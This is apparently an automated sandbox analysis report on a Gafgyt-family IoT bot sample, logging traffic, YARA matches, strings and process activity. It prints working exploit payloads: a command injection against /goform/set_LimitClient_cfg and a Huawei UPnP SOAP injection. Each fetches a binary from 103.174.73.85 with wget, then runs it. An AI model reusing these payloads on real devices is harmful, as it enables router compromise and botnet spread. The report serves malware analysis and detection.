Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.52.105
Source: unknown	TCP traffic detected without corresponding DNS query: 149.188.84.153
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.73.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.26.83.34
Source: unknown	TCP traffic detected without corresponding DNS query: 206.180.230.72
Source: unknown	TCP traffic detected without corresponding DNS query: 157.184.132.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.85.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.7.154
Source: unknown	TCP traffic detected without corresponding DNS query: 142.184.160.192
Source: unknown	TCP traffic detected without corresponding DNS query: 157.9.107.156
Source: unknown	TCP traffic detected without corresponding DNS query: 166.79.73.78
Source: unknown	TCP traffic detected without corresponding DNS query: 157.59.119.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.90.176.85
Source: unknown	TCP traffic detected without corresponding DNS query: 41.195.238.15
Source: unknown	TCP traffic detected without corresponding DNS query: 41.16.172.148
Source: unknown	TCP traffic detected without corresponding DNS query: 41.0.175.228
Source: unknown	TCP traffic detected without corresponding DNS query: 8.20.41.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.224.14
Source: unknown	TCP traffic detected without corresponding DNS query: 159.108.187.16
Source: unknown	TCP traffic detected without corresponding DNS query: 157.155.116.11
Source: unknown	TCP traffic detected without corresponding DNS query: 83.129.241.116
Source: unknown	TCP traffic detected without corresponding DNS query: 157.221.200.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.206.45.19
Source: unknown	TCP traffic detected without corresponding DNS query: 197.2.229.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.229.40
Source: unknown	TCP traffic detected without corresponding DNS query: 163.252.194.15
Source: unknown	TCP traffic detected without corresponding DNS query: 158.95.149.196
Source: unknown	TCP traffic detected without corresponding DNS query: 157.39.247.159
Source: unknown	TCP traffic detected without corresponding DNS query: 45.194.117.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.205.70.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.233.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.206.180.241
Source: unknown	TCP traffic detected without corresponding DNS query: 157.80.146.99
Source: unknown	TCP traffic detected without corresponding DNS query: 41.18.120.210
Source: unknown	TCP traffic detected without corresponding DNS query: 63.9.35.34
Source: unknown	TCP traffic detected without corresponding DNS query: 25.225.82.37
Source: unknown	TCP traffic detected without corresponding DNS query: 197.133.168.165
Source: unknown	TCP traffic detected without corresponding DNS query: 41.132.124.108
Source: unknown	TCP traffic detected without corresponding DNS query: 14.131.218.194
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.48.145
Source: unknown	TCP traffic detected without corresponding DNS query: 157.132.52.121
Source: unknown	TCP traffic detected without corresponding DNS query: 157.104.201.198
Source: unknown	TCP traffic detected without corresponding DNS query: 41.249.104.243
Source: unknown	TCP traffic detected without corresponding DNS query: 157.150.112.226
Source: unknown	TCP traffic detected without corresponding DNS query: 157.140.181.25
Source: unknown	TCP traffic detected without corresponding DNS query: 41.241.79.222
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.34.42
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.204.245
Source: unknown	TCP traffic detected without corresponding DNS query: 157.109.163.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.140.66.213

Source: unknown

DNS traffic detected: queries for: haha.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-control: no-cacheServer: Ubicom/1.1Content-Length: 9Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gunicorn/19.9.0Date: Tue, 06 Feb 2024 05:42:41 GMTConnection: closeContent-Type: text/htmlContent-Length: 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-control: no-cacheServer: Ubicom/1.1Content-Length: 9Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: CloseContent-Length: 0Content-Type: text/htmlDate: Tue, 06 Feb 2024 05:43:27 GMTPragma: no-cacheCache-Control: no-cache, no-store, must-revalidate
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Length: 74Content-Type: text/htmlDate: Tue, 06 Feb 2024 05:43:46 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: huhu.mpsl.elf	String found in binary or memory: http://103.174.73.85/huhu.mpsl;
Source: huhu.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: huhu.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: huhu.mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5525.1.00007fea18400000.00007fea1842a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: huhu.mpsl.elf PID: 5525, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljne.armskyljne.arm5skyljne.arm6skyljne.arm7skyljne.mipsskyljne.mpslskyljne.x86_64skyljne.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//opt//lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server/home/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /proc/proc/%d/cmdlinerwgetcurlbusyboxechocatnanotfptabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3881/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/huhu.mpsl.elf (PID: 5531)	File opened: /proc/126/cmdline	Jump to behavior
